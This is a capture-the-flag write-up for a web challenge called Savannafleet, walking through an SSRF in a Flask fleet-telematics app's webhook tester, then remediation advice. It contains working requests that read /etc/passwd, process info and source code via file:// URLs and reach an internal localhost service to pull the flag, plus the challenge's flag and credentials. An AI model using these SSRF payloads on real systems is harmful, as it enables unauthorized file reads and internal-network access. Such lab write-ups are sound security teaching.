Challenge: Savannafleet
Points: 200
Category: Web / SSRF
Flag Format: GoH{}
Date: 2026-04-30
Target: 209.38.92.205:33323


Table of Contents

  1. Reconnaissance
  2. Authentication
  3. SSRF Discovery
  4. Filesystem Enumeration
  5. Application Source Code Retrieval
  6. Internal Service Discovery
  7. Flag Retrieval
  8. Summary & Remediation

1. Reconnaissance

Initial Connection

First, I probed the target to understand what service was running:

curl -s http://209.38.92.205:33323/ -v

The service returned a Flask-based web application titled "SavannaFleet Pro" — an East Africa Fleet Telematics Platform. The page had links to a Fleet Manager Portal (/login) and displayed operational statistics.

Exploring Endpoints

The hint mentioned internal/config, so I directly tested that path:

curl -s http://209.38.92.205:33323/internal/config -v

Result: 404 Not Found — the endpoint was not publicly accessible.

Other paths checked:

  • /login — Login page (accessible)
  • /dashboard — Required authentication (302 redirect when unauthenticated)
  • /config, /api/config, /admin/config — All returned 404

2. Authentication

The login page (/login) contained a helpful hint in a styled box:

Assessment Access
[email protected] / Otieno2024

These credentials were presumably meant for the CTF participant to proceed.

Login Request

curl -s -X POST http://209.38.92.205:33323/login \
  -d "email=otieno%40savannafuels.co.ke&password=Otieno2024" \
  -L -c cookies.txt -b cookies.txt -v

Result: Login successful! The server set a session cookie:

Set-Cookie: session=eyJjb21wYW55IjoiU2F2YW5uYSBGdWVscyBMdGQiLCJmbGVldF9pZCI6IlNGLUtFLTAwMSIsIm5hbWUiOiJPdGllbm8gS2FyaXVraSIsInVpZCI6MX0.afM9qg.PzMiVe7dT4soej39MJswwgFNmoM

The session cookie is a signed JWT containing user metadata (company, fleet_id, name, user_id).

After authentication, I accessed the dashboard:

curl -s http://209.38.92.205:33323/dashboard -b "session=<cookie>"

The dashboard displayed fleet statistics and vehicle status for Savanna Fuels Ltd.


3. SSRF Discovery

Navigating to the Integrations page (/integrations) revealed a Webhook Connectivity Tester — a feature allowing users to test if their webhook endpoints were reachable from the SavannaFleet server.

The page contained a form that POSTed JSON to /integrations/test:

fetch('/integrations/test', {
  method: 'POST',
  headers: {'Content-Type':'application/json'},
  body: JSON.stringify({url: url})
})

This is a classic Server-Side Request Forgery (SSRF) test endpoint.

Testing SSRF

I tested the endpoint with a local target:

import requests
s = requests.Session()
# ... login steps ...
r = s.post('http://209.38.92.205:33323/integrations/test', 
           json={'url': 'http://localhost:33323/internal/config'})
print(r.json())

Result:

{
  "error": "<urlopen error [Errno 111] Connection refused>",
  "success": false,
  "url": "http://localhost:33323/internal/config"
}

The endpoint was reachable, but the connection to localhost was refused. This indicated the SSRF was functional, but the target service might be on a different port or required a different protocol.


4. Filesystem Enumeration

Since the SSRF allowed arbitrary URLs, I tested the file:// scheme to read local files — a common SSRF escalation vector.

Reading /etc/passwd

r = s.post('http://209.38.92.205:33323/integrations/test',
           json={'url': 'file:///etc/passwd'})
print(r.json())

Success! The SSRF allowed file reads:

{
  "success": true,
  "response": "root:x:0:0:root:/root:/bin/bash\n...",
  "url": "file:///etc/passwd"
}

Notable users found:

  • appuser:x:1001:999::/home/appuser:/bin/sh — the application user

This confirmed full filesystem read access via the SSRF.


5. Application Source Code Retrieval

Knowing the app ran as appuser, I tried to locate the source code by reading the process command line:

r = s.post('http://209.38.92.205:33323/integrations/test',
           json={'url': 'file:///proc/self/cmdline'})

Result: python\x00/app/src/app.py\x00

The Flask application was located at /app/src/app.py. I read it in full:

r = s.post('http://209.38.92.205:33323/integrations/test',
           json={'url': 'file:///app/src/app.py'})
print(r.json()['response'])

Key Findings in app.py

The source code revealed critical information:

FLAG = os.environ.get("GZCTF_FLAG", "GoH{[TEAM_HASH]}")
DB = "/tmp/savanna.db"
INTERNAL_PORT = 8877  # <-- Internal server port!

More importantly, the application started a hidden internal HTTP server on a separate thread:

def run_internal():
    from http.server import HTTPServer, BaseHTTPRequestHandler
    class H(BaseHTTPRequestHandler):
        def do_GET(self):
            if self.path == "/internal/config":
                body = json.dumps({
                    "service": "SavannaFleet Metadata",
                    "version": "2.4.1",
                    "region": "east-africa",
                    "telematics_key": "sfpro_tlm_k3y_2025",
                    "flag": os.environ.get("GZCTF_FLAG", "GoH{test_flag_local_dev}")
                }).encode()
                self.send_response(200)
                self.send_header("Content-Type", "application/json")
                self.end_headers()
                self.wfile.write(body)
            # ... other routes ...
    HTTPServer(("127.0.0.1", INTERNAL_PORT), H).serve_forever()

# Started in background:
threading.Thread(target=run_internal, daemon=True).start()

The internal server bound to 127.0.0.1:8877 and served the flag at /internal/config — but only accessible from localhost.


6. Internal Service Discovery

The SSRF could reach internal services! Earlier, connections to localhost:8877 failed with "Connection refused". But I realized I hadn't tried 127.0.0.1 explicitly via the SSRF (the previous tests were on port 33323, not 8877).


7. Flag Retrieval

I used the SSRF to access the internal server on port 8877:

url = 'http://127.0.0.1:8877/internal/config'
r = s.post('http://209.38.92.205:33323/integrations/test',
           json={'url': url})
result = r.json()
print(result)

SUCCESS! The internal server responded through the SSRF:

{
  "success": true,
  "status": 200,
  "response": "{\"service\": \"SavannaFleet Metadata\", \"version\": \"2.4.1\", \"region\": \"east-africa\", \"telematics_key\": \"sfpro_tlm_k3y_2025\", \"flag\": \"GoH{d8b889a253b8}\"}",
  "url": "http://127.0.0.1:8877/internal/config"
}

Flag Confirmation

The flag was also returned via localhost:8877 and 0.0.0.0:8877:

GoH{d8b889a253b8}

The flag format matched the expected GoH{} pattern.


8. Summary & Remediation

Vulnerability Chain

  1. SSRF via Webhook Tester (/integrations/test): Accepted arbitrary URLs without validation, allowing:

    • file:// protocol — Arbitrary file read (LFI)
    • http:// to internal IPs — Access to internal services
    • http://127.0.0.1:PORT — Access to localhost-bound services
  2. Information Disclosure: Source code exposure via file read revealed the internal server on port 8877.

  3. Internal Service Access: SSRF used to reach 127.0.0.1:8877/internal/config, bypassing network-level isolation.

Remediation Recommendations

  1. URL Validation: Restrict allowed schemes in /integrations/test to only http:// and https://. Reject file://, gopher://, dict://, etc.

    from urllib.parse import urlparse
    parsed = urlparse(url)
    if parsed.scheme not in ('http', 'https'):
        return jsonify({"error": "Invalid URL scheme"}), 400
    
  2. IP Allowlisting: Prevent requests to private IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, etc.).

  3. Network Segmentation: Run the internal service on a separate network namespace or use a Unix socket instead of TCP.

  4. Authentication: Require authentication or a shared secret for internal endpoints.

  5. Defense in Depth: Don't expose sensitive configuration via HTTP endpoints, even on localhost. Use proper secrets management (e.g., HashiCorp Vault, AWS Secrets Manager, or environment variables with restricted access).


Commands Used (Complete Log)

1. Initial Recon

curl -s http://209.38.92.205:33323/ -v
curl -s http://209.38.92.205:33323/internal/config -v
curl -s http://209.38.92.205:33323/login
curl -s http://209.38.92.205:33323/robots.txt

2. Authentication

curl -s -X POST http://209.38.92.205:33323/login \
  -d "email=otieno%40savannafuels.co.ke&password=Otieno2024" \
  -L -c cookies.txt -b cookies.txt -v

3. Dashboard Access

curl -s http://209.38.92.205:33323/dashboard -b "session=<cookie>"
curl -s http://209.38.92.205:33323/integrations -b "session=<cookie>"

4. SSRF Probe (via Python)

import requests
s = requests.Session()
s.post('http://209.38.92.205:33323/login', data={'email':'[email protected]','password':'Otieno2024'})
r = s.post('http://209.38.92.205:33323/integrations/test', json={'url':'file:///etc/passwd'})
print(r.json())

5. Source Code Retrieval

r = s.post('http://209.38.92.205:33323/integrations/test', json={'url':'file:///proc/self/cmdline'})
r = s.post('http://209.38.92.205:33323/integrations/test', json={'url':'file:///app/src/app.py'})

6. Flag Retrieval

r = s.post('http://209.38.92.205:33323/integrations/test', json={'url':'http://127.0.0.1:8877/internal/config'})
print(r.json())

Flag: GoH{d8b889a253b8}
Challenge: Savannafleet (200 pts)
Status: ✅ SOLVED